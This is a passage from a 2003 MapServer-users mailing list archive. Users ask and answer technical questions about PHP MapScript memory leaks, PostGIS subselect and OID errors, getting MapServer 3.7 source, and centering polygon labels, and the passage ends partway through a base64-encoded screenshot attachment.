------=_NextPart_000_0029_01C2C91E.0A426340-- From pgigoux at munistgo.cl Fri Jan 31 04:51:45 2003 From: pgigoux at munistgo.cl (Patricio Gigoux) Date: Fri, 31 Jan 2003 09:51:45 -0300 Subject: [Mapserver-users] php, postgresql, mapserver, postgis Message-ID: <200301311250.h0VComae012427@lists.gis.umn.edu> What is best version of each one them nowaday? ?caul es la mejor version de cada uno de ellos hoy? Greatings Saludos Patricio From jshorie at medinaco.org Fri Jan 31 05:01:13 2003 From: jshorie at medinaco.org (Jon Shorie) Date: Fri, 31 Jan 2003 08:01:13 -0500 Subject: [Mapserver-users] (no subject) In-Reply-To: References: Message-ID: <200301310801.13225.jshorie@medinaco.org> On Friday 31 January 2003 02:46, Alessandro Ceccotti wrote: > Hello everyone, > anotther question: > I've a .map file that contains various layers. How can I do to allow the > user (via web) to select some layer and display only these? > I use mapserver as cgi. > thanks, > > Alessandro Ceccotti > > Look at the code for the Itasca demo. It gives a good example of an interface that will do this. From georef at tie.cl Fri Jan 31 05:27:27 2003 From: georef at tie.cl (Juanse) Date: Fri, 31 Jan 2003 10:27:27 -0300 Subject: [Mapserver-users] Memory Leak? References: <000001c2c8fd$180fe090$0101a8c0@CPQ60241426414> Message-ID: <003b01c2c92c$7fed5740$0500a8c0@temuko.cl> Hi everyone We have build this "mapmaker machine" scripting mapserver with php. The mapmaker machine need to do 2322 maps, comprised of a.- the map, b the legend, c.- the reference map. The application created the regional map (10 layers, 2 with thematic clases) then centers over the specified spot (center of each of 2322 polygons in one of the layers stored in postgresql). Then mapserver render the 3 images (png) and stores the *.png files in a file and the file names in the speceified columns in the postgresql table. if one check the process (top) the memory fill up after 90 spots, and then the whole machine work very slowly (20 maps per night). At this speed we need more than a 100 days to finish? Is there any command to free mapserver from memory? Does mapserver have any know memory leaks? Juanse temuko-Chile --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 From lfilak at medinaco.org Fri Jan 31 05:38:51 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 31 Jan 2003 08:38:51 -0500 Subject: [Mapserver-users] Memory Leak? Message-ID: <200301311335.h0VDZ8R16448@yogi.medinaco.net> Shot in the dark, but is there a possibility that after a map is created the mapObj is not being undef/closed/destroyed and that is the leak your seeing? Lowell F. The following message was sent by "Juanse" on Fri, 31 Jan 2003 10:27:27 -0300. > Hi everyone > > We have build this "mapmaker machine" scripting mapserver with php. > > The mapmaker machine need to do 2322 maps, comprised of a.- the map, b the > legend, c.- the reference map. > The application created the regional map (10 layers, 2 with thematic clases) > then centers over the specified spot (center of each of 2322 polygons in one > of the layers stored in postgresql). > Then mapserver render the 3 images (png) and stores the *.png files in a > file and the file names in the speceified columns in the postgresql table. > > if one check the process (top) the memory fill up after 90 spots, and then > the whole machine work very slowly (20 maps per night). At this speed we > need more than a 100 days to finish? > > Is there any command to free mapserver from memory? Does mapserver have any > know memory leaks? > > > Juanse > temuko-Chile > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.445 / Virus Database: 250 - Release Date: 21/01/03 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jhart at frw.uva.nl Fri Jan 31 06:13:01 2003 From: jhart at frw.uva.nl (Jan Hartmann) Date: Fri, 31 Jan 2003 15:13:01 +0100 Subject: [Mapserver-users] RE: help with oid In-Reply-To: <1043992066.3e3a0e023a3b4@mail.up.edu.ph> References: <1043992066.3e3a0e023a3b4@mail.up.edu.ph> Message-ID: <3E3A846D.2030903@frw.uva.nl> Ryanne, It *has* to do with OID, and a clear explanation has been added recently to the PostGIS documentation: http://postgis.refractions.net/docs/x549.html#AEN607 Jan ryanne cruz wrote: > > hi list. > > does anyone here know of a site that discusses oid? or can anyone here explain > to me what oid is and how it is used? > > i am trying to set the data of a layer with a subselect as its argument. > example is: > > $wind->set(data,"geom from (select geom AS geom from wind where > provinceid=$provid and distance(wind.geom,(select geom from municipality where > munprovid=$munprovid))<=0)"); > > > but it results to an error: > > Warning: MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error > executing POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed > too). DECLARE mycursor BINARY CURSOR FOR SELECT > watt_m2::text,asbinary(force_collection(force_2d(geom)),'NDR'),OID::text from > (select geom AS geom from wind where provinceid=1 and > distance(wind.geom,(select geom from municipality where munprovid=1))<=0) > WHERE geom && setSRID('BOX3D(118.267071942857 9.300063,118.638417057143 > 9.670539)'::BOX3D, find_srid('','windcipality','geom') ) > > and when i tried this: > > $wind->set(data,"geom from (select geom AS geom from wind > where provinceid=$provid and distance(wind.geom,(select geom from municipality > where munprovid=$munprovid))<=0) as new_table using unique mun using > SRID=-1"); > > it reults to this error: > > MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error executing > POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed too). > DECLARE mycursor BINARY CURSOR FOR SELECT > watt_m2::text,asbinary(force_collection(force_2d(geom)),'NDR'),OID::text from > (select geom AS geom from wind where provinceid=1 and > distance(wind.geom,(select geom from municipality where munprovid=1))<=0) > WHERE geom && setSRID('BOX3D(118.267071942857 9.300063,118.638417057143 > 9.670539)'::BOX3D, find_srid('','windcipality','geom') ) > > i was thinking that the solution may be with using an oid but i'm not sure > what it is and how it works. > > help!? > > ryanne > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Jan Hartmann Department of Geography University of Amsterdam jhart at frw.uva.nl From steve.lime at dnr.state.mn.us Fri Jan 31 06:45:45 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 31 Jan 2003 08:45:45 -0600 Subject: [Mapserver-users] silly question about mapserver 3.7 Message-ID: There isn't anything official yet. Either nab it from CVS or grab the nightly file. >>> "fx gamoy" 01/31/03 05:43AM >>> Hello everybody sorry but i can't locate the mapserver.3.7.tar.gz:source code file to download in the mapserver homepage. thanks best regards fx gamoy http://www.mapxplore.com/ From r000t at adelphia.net Fri Jan 31 07:57:22 2003 From: r000t at adelphia.net (Jim Burnett) Date: Fri, 31 Jan 2003 10:57:22 -0500 Subject: [Mapserver-users] centering labels Message-ID: <000901c2c941$714cc8f0$9601a8c0@emasi.com> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C2C917.8825BAC0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0006_01C2C917.8825BAC0" ------=_NextPart_001_0006_01C2C917.8825BAC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I'm trying to get my labels to center on my parcel layer. The layer is a = polygon layer. Here is my layer def. And a screenshot of what is happening. LAYER NAME ParcelLabels TYPE line STATUS Off DATA parcels LABELITEM DXF_TEXT CLASSITEM 'DXF_TEXT' CLASS EXPRESSION /./ NAME 'featureid' #COLOR 0 0 0 OUTLINECOLOR 0 0 0 NAME 'streetnameid' LABEL PARTIALS false COLOR 255 255 255 TYPE bitmap POSITION auto PARTIALS FALSE END END TOLERANCE 0 END ------=_NextPart_001_0006_01C2C917.8825BAC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I'm trying to get my labels to center = on my parcel=20 layer. The layer is a polygon layer.
Here is my layer def. And a screenshot = of what is=20 happening.
 
LAYER
  NAME = ParcelLabels
  TYPE=20 line
  STATUS Off
  DATA parcels
 LABELITEM=20 DXF_TEXT
 CLASSITEM = 'DXF_TEXT'
 CLASS
   =20 EXPRESSION /./
    NAME=20 'featureid'
     #COLOR 0 0 = 0
    =20 OUTLINECOLOR 0 0 0
    NAME=20 'streetnameid'
    =20 LABEL
        PARTIALS=20 false
      COLOR 255 255=20 255
      TYPE=20 bitmap
      POSITION=20 auto
      PARTIALS=20 FALSE
     END
  END
TOLERANCE=20 0
END
------=_NextPart_001_0006_01C2C917.8825BAC0-- ------=_NextPart_000_0005_01C2C917.8825BAC0 Content-Type: image/jpeg; name="centerlabels.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="centerlabels.jpg" /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAG/AeYDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxn9s7 45fHf4QaV4ZvPhrrPwYg+GHxJu/FWg+Fvi78Jr74keKPGKa/4L0fw3L8QfA15rXxn+Hnwg1nw94i 8Pw/EPwH4v0zxt4M+CHg+Wys/EXhqx8HfEnVfEXh74gx231x8J4tV+Jv7J3hn9p7wh8Mf2VviJdf EXXdc0n9qT4rftN+H/2YviZ4o+Dnx60+68JeFtLvdS8d/H7Q7Pw78F/g78QvAvw68Nah8JvBfie5 g8GeH/HHxh+IfgTw/aQLrP7PsFlu/tifs4+Grr9mHx74Y/Zt+Efxx/aA1n9qSf8AZZ/a1+Afwt+H Hgv4veJ9V/Z7+A/xI0z4p6/8PfHfxh0/wf8ACvx/4b/4TrwlpFt8W/2eNH8O3n7SXiO08e6d8RNd +J134Ptdb+Gnh7U5PjT9kX/gnlpXx6+HupfAn9pT472/7Lfxmsf2pfA/gr4S/AXxB8NdQ8UftK2G qfEzwDo0vxE8VeI/gDqviz4V+N9O+FPivSrr4F6zD8SJ08WWPhrS/h14w1uXTfCHhceJPEWt5RoV a+F5avPhKuqqToNRatN6wlJS+JLqm1d2btc8jG8QcP8AhV47YjM+AcDlfjHwVLJMPisjynxGwccR lf1rH5dQq1MFmdCm8BgpYzAYuc4v2EqKq+ySnBRk4v6z1H/goZofh7/gof8AsKfEzwn4t1L9oj48 +FPCfxG+FHx98bH4s6hf+CPF/jH4zeJfHnh7wl+zrZaz4f8Ahl4Q8Et8IPhb8R/ENz8UtO+I3gDT fjb4VsLX4owaN8P9a+LHg34IfDKx1DxHS/8AgpZ8LtG+H37KvxLuP2afHvxRh/Zj179sTw14M1f4 n/tGeHviP8Z/An7QP7Rni34Z/G7w7+1L4t+Ims/s43Pw68R+P4dZk+LLfCXRPiN8Cdd0u88V+DtY +IM974n8T+BZn0zH+B37Ef7It98XPjz+z0/xM+Ip+L/7J+jftE+Mf2jvjd8Tv2afD/j/AOBHwz8M /sz+JtZ0fWPiN8PPBnhf9r/wb4t8V6Ol4uiWU3hHxr8JPj5P441a+0Jrj4c6B4Oi8a2dx1X7QX/B P74xeLf2bI/jp8Qf2r/iZqekaz+xh4E/4KGNZ+MPgPD8LP2NIvE3xDvNJt9Q+CGhfFLw98VbnwVb ftV+IbrxprF/4Z8PaZ8ENM1H4s+IfEkF/qepaPqvxA1fUrftpwlThGKbajH4pP3nypO8ttbpXuk7 xsk9T8bz3POLOIMdxDxA8JlOCrZpmGPzT+ysjoZZDKMtnKag8PQo16sqlOlhKlJQhCCrxaglKUqk br5Z+GP/AAUJ+E3wy+JXxs+LyfB/9qHxp8YPi38OfDngHQf2ifH/AO2n4Z8Y/tP/AAglji1vw98R Nf8Ahz8W9f8A2S9R0XTdY8ffDc+Dvhlpniab4dSfEr4ZeFtD8SweAPiLpCeNPK8PcNoH7XPxnh8A ftKD9nf43ftVfBqw0/x/4a/aSnjv/wBpfxXqvjLWv+E2uvDvwl+OGreP/iL8OtD+EMHxR8feO/iP 4k+DfibS7/xP4Ctv7D8M+HfFMNtrsOu3OsT/ABE+Ifg78Mdf+Nvxc+FnwY8KXej2Hij4u/EfwP8A DDw3feIbi9tNAstf8feJ9L8KaNd65dabp+rajbaPb6jq1tNqdxYaVqV7DZJPJa6feTqlvJ+8v7PH /BIXQ9V+P/hrSvh/+0pquveBz+1x+1v/AME4fjRqnjH4HWfgbxVo3jbwd+y78UvFXirXfhho2jfG j4i6T4n8L+KfBGleNdG8P+LvFeveEdU8G+Kn8La3qPwx8c6Q+raFDXNJreyvvZLW/lbdu3ZXTeiR 8Fk9binPf93ftMNGrXpVJUPqeDrKtiKfPUlGa9jVnJuUJVJXklDSWiVvhnwV/wAFAvAmj/s13vwJ 8S/DL9oqz8XfEjxf8QfG/wC1J8bvgz+1xovwy8eftc6z42ufEdpYWXxz1Xxt+zV8afF+ueEPDPhH xRrXh+P4f2vjm38B+J9Z8Q+L/Hvi3w1rPi/xG2oWHmP7Pv7Vn7UXiq/0v9mPVv2kvj7qXwq+LXgH WP2bdG+G9/8AGL4iSfD7Sx408LzeCfhVpJ0P/hImtvDvgLw741bwSniax8N2OLj4a2PiPwZJoPiX wvrWr+C9e0f2+v2ED+xDqHwngb4l6j4tPxS0/wCJtz/whvxB+HJ+C/xs8HD4ZfE7XvhsPEfir4UH xt8RvsHwy+J/9jf8JP8ABXx9/wAJY3/CwtDh1+X+wNF/sDfqX58dVxj15+ox/wDXobezdtnpbqlr pa723d7+dzzMdmfEGWZlSwWZVnQq5fyYerSpRoJewlaUqdR4dKNdSjJy/eOfNKTlK8m2/wBdPit/ wUx8CeI9S+Bes/Bf4F/Fz4K6P+y54w+C/jj9nb4AS/tO6L4x/ZD8C+JPg74qh8Uxa54i+C2lfs6f D/xx8QvF/ja7v/Gt54z+JfiL42j4ra1rnjrWb/UPHd5pEFr4bX9Wf2Ov2wfFviHxdof7QHhn9nrS /hD+zwn7Xf7UX/BRv4lQfFf9o7SfHnxo+MXjf4h/CnxZ8AvGGh/srfDzwf8ABnwX4x1LwF4B0bxl 8UPEcGp+KfAOsfDHU9e+Gnirw943/aa+FUXgHxpqEP8ANb+0d/xOviKPilD+8sPjtoOl/GdbmP8A dWcvijxdJeW/xcsNJsZv+Jnpug+F/jjpHxO8GeHrTWhNqMmheG9OvxqniSwvbHxRrX19+yR+3B8O vgp8MU8OfGPwl8RPiTq/wx1/Xh8H/DnhTU9E0DTvF3ws+M+ga94X+PXwR+IXxN8ST+J9a+GvgKMa hJ44+GqfDP4ca1fWvir4hfHx2m8MeKvibovxN8B51p1lH9zy8942va0VzX5rKyfJfm5ftW5fT9P8 K894Xnx5HC+KOe5hk/CkMPiq9bE5ThMH9ZqV8PQhPAYNuOEqSpU8ZSisLKpRpc1KU4Ta5INH1L+0 Z+0P8EfGHiP4M/slf8FINV/a5+KHhP8AZH8N/HPU/Bf7TPwf8eeBvFXxs/aS0/8Aab8Y/Cz4w/AT 4heLPDvxxOtp8PfCU37PzabcN4S1Tx94y8caJcap4V8N6onhyfw7r2hW9L40ft1fC79muw/amsf2 C4/2m/Dem/8ABRLwh8D/AIz2vxz8dfEzw98N/ib8K/Hngf4+fGPxB8StP8DWHwk0z+07jwjqcl3q vwhuLXVPFXhrWbHU9E8Z6hbap4+8Ca14a1XWvy7/AGnf2gk/aN8c6B4ptvh34b+HOmeDvAuifDLw 9Z6Xf6z4i8W6/wCFPCWoa0fCOs/Fjxzrl00/xA+JGneGdR0rwXd+JtL0XwR4Tt/CvhLwl4W8DfDr wD4L8NaB4U0rM/5HT9nfk/aNf+B3jzH/AEE9Yufhf8XbbA67b3w54B+F/wASvCI/5/fD1z44/aUx /wAU5r+tf8VpUJVOWLnZT5Eppar4VFpX39dX1u37x8txDxRhp8QcSR4XxEq2WUswx1bh7NcbhaVL Np5XTqShh6WIsre3eCcaT5Y814ud09T9iPiB/wAFt/AvxX8YXfizx7+yP4uc2H7dvwX/AG9fBlj4 S/aa0fQP7J8ffBH4CfC34IeHfBPia41j9mzxYPE/g/VP+FdXfijWpdKt/B+sudet9Gsb6yGjTarr X4h/GH4na98bPi58U/jN4rs9IsPFHxd+I3jj4n+JLDw9Be2mgWPiDx/4m1PxXrNpodrqWoatqNto 9tqOrXMOmW1/qup3kNkkEV1qF7Mj3MvnFFNtu9+rbeiWrd3t6nw2acQZrnMKdPMMSq8Kc1UglRoU 3zqDgnKVKnCU2otpczdkz3vP/Cafs78/6Rr/AMDvHmM5/tPWLn4X/Fy2wP7t74c8A/C/4leEehF7 4eufHH7SnH/COa/rX/Fa8D8LfG//AArb4ieDfHMul/2/p/hzXrC+13wu979gs/GXhd5Ps3izwPq1 wbPUYW0Hxv4an1Xwl4htLzTdU0/UND1nUNP1LS9SsLm5sbjrvgPqulp4w1PwT4j1Kw0rwt8XfCWv /C7Wr/Wb230nw/p2qa7Hb6p8NPEPinXpZILjw/4R8E/GXQvhv488XavYTG4i8NeFtVt7jT/EGl3W o+GtZ8k1XStV0LU9S0LXNN1DRta0bULzS9X0fVrO407VNJ1TTriS01DTdS0+7jiu7DULC7hmtb2y uoori1uYpYJ445Y3UL+v6/r/AIGNWo/Z4DHQ1nTtQqrW3tMPJSp88t5SrUnd+St0Ot+KXgf/AIVt 8RPGXgaPVP8AhILDw5r19Y6F4ojsvsFn4y8LtJ9p8J+ONJt1vNRhbQPG/hqfSvFvh67s9S1PTtQ0 PWdPv9N1TUtPuba+uO98Uf8AFYfAL4Z+J4v3l/8ACPXvEHwZ8Qw24+z2eneGPF+qeIfi/wDCq/uY 7vM+o694o8S6v+0JY311o9xPp2m6H4E8L2uqaVod/e2mp+MT4q/8VT8O/gn8Uj81/e6DrXwZ8V3N wfJvNU8UfA+Pw5baFf21jbg6ZBoOn/A/xv8ABLwbY3VsLDUNV13wh4ov9b0uS/lbxR4qX4Bj/hJ9 c1/4N3n+laf8ZtBvfDWg6ceZT8YdLs73V/gdcaK915mj6Lr+t/EWPTPhheeKtVt1g0j4c/Ez4jab JrHhjT9f1PxFph5tf1e11ptv2N1TisbiMLF3o5hSvQb9ym5VUq2HmordQq3pwS3lpboeCUV73/wz r440c+b8SdX8A/Bu3t8/2zafE/xro+k+OfDnnDbp39ufBLQX8SfH+3/teSWxl0z7J8KL3zdH1TT/ ABbP9m8FSTeJIP1D0b/gj5YQfDvWPGuvfHHxN4n1jwl+wTF/wUZ1+y+Hnwa1GL4Kav8ABnU9U8WX Pgn4Z2P7Qvi3xXpfinwj8ZviV4L8F674h0HT/FP7NMmm6VJpniMRxeJ7bwlqclwLXVa/P+v6v2Lw XDWc4+VWFDCNSo2daNWpTozpxfN7zp1JRqNe7KyjFybi1FN2R+INH+eeOvTr65GPWv1j/ae/Zy+D H7KP7Pv7JPxk8N+E/hl8bYv2oR8ef7Y0/wAV+PfiX4+X4b+JPgV420DwH4g8OeHPi58GfGfwE8B/ EzQv7Q1OW0l1jQfhtd+H/wDhI9I8Q6l4H+K3xZ+HGteDPEie8fEL9ib9vf4W/sofDf456J4z1fwl 8dPiZ8eNL+Dl3+x3+yf8JNE+H/xk0W01f4J+JPjtod/8b7L9nOw8I68nxF0/4f6EvjSD4O+LfBWu 6/8AD74e+ObDxVqWseFtV13xX4Tsm4yva3bruntbe7fRbs7lwpi1PEwm6taWEwsMZWWDo+29nRqR jKm5yqToxc5xknGlTc6r1XLdNL8kNL/Z0+NOpaXpviC88CX/AIN8K61YWeo6F41+KWoaJ8IPAfiC 31K2jvtLi8PeO/ipqfg7wfr9/qumyNquk6Vo+t3up6po1rqGsafZ3Ol6ZqN3a3z8KPhtoR8/xr+0 N4CxY/ude8MfDDw54/8AiP46s9Qx9mm07Q59S8N+A/gr4q/szUmC6lrOk/HH/hF7zR7a/wBZ8Ha9 4w/4k1jrvvvw4/YT/aM+Jf7SPwq+F37R2kePv2YL74++P9O0wfEz9pfwP488L6p4m1XxR478IeEN UuvB2g+LbDSfFfxm8e3Xiz4jeFbebw74Ye7uILjxFH4t+Iev+BvhtpfjX4j+FfZ/hb/wS61/4i/E T9v7w5beNPiP4n8MfsE/EaH4Zazb/A74CXvxo+Ovxe17V/jL4l+FPhy88BfBGP4i+C9PTSEsPBXi vxx43nu/ijPeeENG0+3isbDxXDLqOqaQ1F/y69np0v5PZPyY8PkeKrezWEyWrVlWrzwsVj8TGm3U pUXiJv2Slh5Uk6S5nOpJ0/sRk2fDf9sfs1+H/wB1p/gb4u/ErUNOP2ix1/xX478MfDfwv4gvB/pV tbeJPhX4X8IeN/Eun6BBO0ekaxY+Hf2g7fXPEOnW1zqmkeKPA1/q1vaeHlHx/wBR0v8A0fwP8Kvg J4G0lwJ7nSP+FQ+F/it9o1I/JLqX/CRftDw/GbxpZCa3js7f+xdL8T6f4WtjaG+stBttW1LW9R1T 1Xxd+wr8frj4k/Ffwt+zz8Lvjr+1F4B+GXxG1/4cSfFP4bfs0/HzTrKXXtBisbrUvDfi3wf4j8BW fij4dfEXw7BqljY+Ofh/4itjfeGde+02tjqfiLQm0jxNrP0V+zJ/wTFm/aC8IX1xrvxO+I3wr8f6 Tq/7QmgePR4i/Zd+JNv+zz+zRrnwF8DzeLptF/bF/ab8Y6x8PvC/wU1fxPcWV7aTab4M8K/Ge88D aZcaDfeNoNJ17W08JWpyNtq35W7bvR/e+/mRQwPENas8NhMJDDzj7XknRWHw6lGjf2kaOLlJOukk 21CrUc0ub3kj84vHHxV+KHxN/sw/En4kePviD/Yn23+xv+E48YeIvFn9kf2n9l/tH+y/7e1HUP7P /tD7BYfbRZ+SLv7Daef5n2WHZwP+cUds9uT+XP8AKv3T1P8A4IsfZPH3xA+EFj+0p9r+KHwB+L/7 Bnwp/aPtrz4OfYPAXh8/t1614Z8MaDrvwS8XQ/FPUfEPxc/4V54g8W6THq+l+O/AHwF/t/R0v9Ss tR0+9gt9GvEotq6Wi80ls317JNnDgcozrPHiJ4WnUxTpThCtKdeEffnfliva1I88vdbahzcsVzO0 Vc/Lf9nbVdU1bVfGvwOj1K/i0X9oPwjc+BV0S1vLiBNa+JejXEXjL4EWsKSSHQbbUNV+L2heFvBF xr/iG0ew0Twd438aKdU8MR6jceJ9I+dR25yMg8HjHrx6g/X9a/Uf9uz/AIJs/wDDGXgJfHR+KHi3 VfJ/aO+J/wCzl/whnxn+Cx/Z+8e+Of8AhXGjaXrB+OvwN8On4mfFH/hbH7Omsf2gNLb4nfbPCn9m axqXhCx/sO/PigS6T8Z/tHf8Tr4ij4pQ5ksPjtoOl/GdblP3VnJ4o8XSXlv8XLDSbGf/AImmm6D4 Y+OOkfE7wb4dtdaE2oyaF4b06/XVPEmn3tj4o1otb167eVteu/yNszy/MMBh1gcfCVHE5e4ydJVo VIfVsXKTi705zhKXtYNcsWlGOrTvc8EI5479Ppnj/Jo7dOc9f6UlFI+dCiil9Mc/4+lABk/pj8K+ t/2GfGB8JftOfDe0mn1Qad4/utT+Fl7Y6dLi11K9+IulXfhjweuvWz3VtBeaDovxCvvCHiu+Eq3k umyeHrfXdL06+1vSdLt3+RznHHXoOnBPGeeOOvORx0PSv6Pmi+A/wi/aNtdF+Af7Gf7P/ij4V+J/ HfgLxN4N8Ia58N9U+PPir4+fBTxlNpHjX4K2VtdftQzfH/xN8OPEPxO+Fni7R5rmH4Y+Hvh34rk1 HxfDaeMvC8/iHwx4f0TwzyYzF0sHCEqym41aipJQjKT5pbX5VomrvVpuz5buyf8ASH0cvo/8a+O/ EedUOD814dyvFcHZTV4mzH/WHM45dOtl+FjN1VgozhOWIqz5Fh7pKFGpWpSrzpUXKrD0rtn9O/05 /L+tfk9/wUl8Bw2Hjb4b/Fa0jtYV+Ifha88Ka+32m+fUdQ8XfCoaPph1OWzkV9MsdLX4c+I/hj4f 046bNA97f+Hdcu9S0yK9kbWNe/ar4weHD4R+J3jnw1J4j0zxhdaF4o1/QtX8U6HYf2Vomt+KfD+s X3h/xxNpOkf234lfQ7Wx8caV4k0eTw7c+JPEWoeF73Tbrw1q2uapq+k395L84/tLfs4fEz41/Azx V4C8O+CPFV34vtdf8HeN/BGmtDb+HLTVvEmhX914cvbDVda8ULYaFaaVF4E8a+ONYCXWp6PPda3p OhQWuoyuzaLrKpvlqLfdpq2yeik3fTb0136ndxnlDzHJsxwMYKpi6Dc6MKbjNyxFCbXs4OLfMm00 5JtSslZ3R/N5XtmleC/DfgXStM8Z/FC40/UdRvLCz1vwt8E0l1+18SeJrLVraO+8K+I/Hmo6da2d p4N+GOr2nm6zJZWXiiy+LHjLw+3h5/Cui+FvB/xG8PfGvQvos/s9/En4GkWyeDv+ET+NVp8tt8Sv i78RPh/8FfA/hbUX41S1+BNr8WL/AMFn4oeP/A3lWVtc/Gzwr4o1vwt4N1jxBLfeAPDh1Oy+EPx7 1bxLVfgX8RdW1XUvEfjP4jfBNpdSv7zW/Ffi3VP2nvgd401QveXEl/rviPUdN8J/Efxh8QPFl+Wk utTvLLw14d8U+MdeuPNg0bRdc1u6trG67Lruu/8Awf60P5/WVYrB/Hg6tbFaJ06lF/V8O+rqylaN Sceyfs4aublblPJPGnjTVfG+p299fwWGl6dpVhFonhfwxokVza+GvB/hu1uLu7s/Dvhyyu7u/u4b CK7v7/Ur291LUNT8QeI/EGp614u8Xa14h8Y+IfEHiDVOQr3r/hT3w+/6Oq+Af/hPftQ//Q20f8Id +zvpf+ga98cvH2satB/x96j8MPgXaeJPA1z5v76D+w9Z+JPxd+DPjW98m2khg1P+2vhr4b+zaxHq Fpp39saTBYa9qgctTAYurOVSpWwspyd3J4zDfJfxNEloktEkktEeC0V739n/AGX9DBu/7Y+PfxQ8 zFt/YH/CN/Dv4DGz3/vf7YHi/wD4Sv8AaQ/tH7P5P2I+G/8AhB9K+2f2h/af/CV2P9j/ANka6n/C Q/sv/wDRIPj5/wCJIfDv/wChToI+oQhpWx2EpT35Oaday6NzoQqQ13tzXXVI8For3r/hcPw+/wCj VfgH/wCFD+1D/wDRJUv/AAv7UNMAt/BHwp+AngfSm/fXGk/8Kg8L/FYXGoMdkuojxD+0PD8ZvGtl 51tHaW39jaZ4osPC9ubT7dZaBa6tqOt6hqp8v8v8/wAA+q4OHvVMwpzj/Lh6VWdRt7WVSNKFlu25 37JnglaGk6Tquvappuh6HpuoazrWs39npWkaRpNnc6jqmq6pqNzFZ6fp2m6fZxzXd9f313NDa2dn awy3FzcSxwwxvI6qftfwL+0d8dfFnwx+KHhPQ/ij4v8AA2s+BLC2+LXgLSPhLqR+FmlyaVYahpPh 34qeBvD3w6+FKeC/D40+88P6xD8b9av7XSryDwhb/Cf4h+JodGtH+I3xM8WjwPVf2lf2jNd0vUtD 1z4/fGzWtF1mwvNK1fR9W+K3jzUdL1XS9Rt5LPUNN1LT7zX5rO/sL60mmtbyzu4Zra6t5ZIJ43id lK18vv8AL0/r8DerhMspU6FX63iqkK8HKNsLTj70Hy1Kf+8Sa5XZc/LZ30TszQ/4ZV/ahH/Nt3x8 /D4PfEM9fXHh3g+x5pP+GVv2oP8Ao274+f8AhnfiJ/8AM5XgtFMw9rlf/QJi/wDwrp//ADOe9f8A DL/x9tP3nij4Za/8NLBvkh1340PpvwO8L3d4fmj0iw8WfGC/8EeGtQ1+eFbi8tfDtjqtxrt3p1hq upW2ny2Gk6nc2h/wzh8Qf+hj+Af/AIlX+y9/8+GvBaKA9rlf/QLi/wDwqp//ADOe9f8ADOHxB/6G P4B/+JV/svf/AD4aX/hRmn6X+48bfHf4B+B9Vf8AfW+k/wDCWeKPiqLjTmwkWoDxD+zx4I+Mvgqz MtzHd2v9i6n4osPFFv8AZPt17oFrpOo6JqGqeCUUB7fL4e9TwVScv5cRiOenZ73jTp0pt9vfST3T 2Pe/+FP/AA+xj/hqr4Cdc4/4R39qHHTrn/hm7OfbH40n/Cn/AIff9HVfAP8A8J79qH/6G2vBaKA+ u4f/AKFmE/8AAsT/APLz3seFv2a7T/RdQ+NPxdvNQtf3F7eeFf2fPDGqeF7u8g/d3Nz4a1LxP+0H 4J8S6hoNxOry6NfeIvBfhDXLvTmt59X8MeH7+S40q07y51f9l+9+F+j/AA3u/iZ8fD/wjXj3xL43 0DWbb9nv4dwbB448PeFNB8X6XrGnSftQ3H9peafh74Hu/Dd7ZX+jf2IIfFVvqdn4l/t/SJvCfyRR QaU8ypUufky7CR9pTlSn72J96E7c0da3Wy2sz3r/AIR79l//AKK/8fP/ABG/4d//AEVlH/Cp/hld /wClaf8AtQfCKysLn/SLGz8V+EP2hdM8U2lnN+8trbxJpvhf4K+N/DWn6/BCyRaxY+HfGni/QrTU UubfSPFGv2Edvqt34LRQZ/XcP/0LcJ/4Fif/AJcfa3wY/Yp1T9oTxRf+C/hB+0B8A/F3iXTNAuvF F9pvlfH7QPI0Oy1HStKub77Z4n+Ami6fJ5d/rWmQfZobqS8f7T5sdu8MNxJF9Nf8OY/2ov8Aoe/g 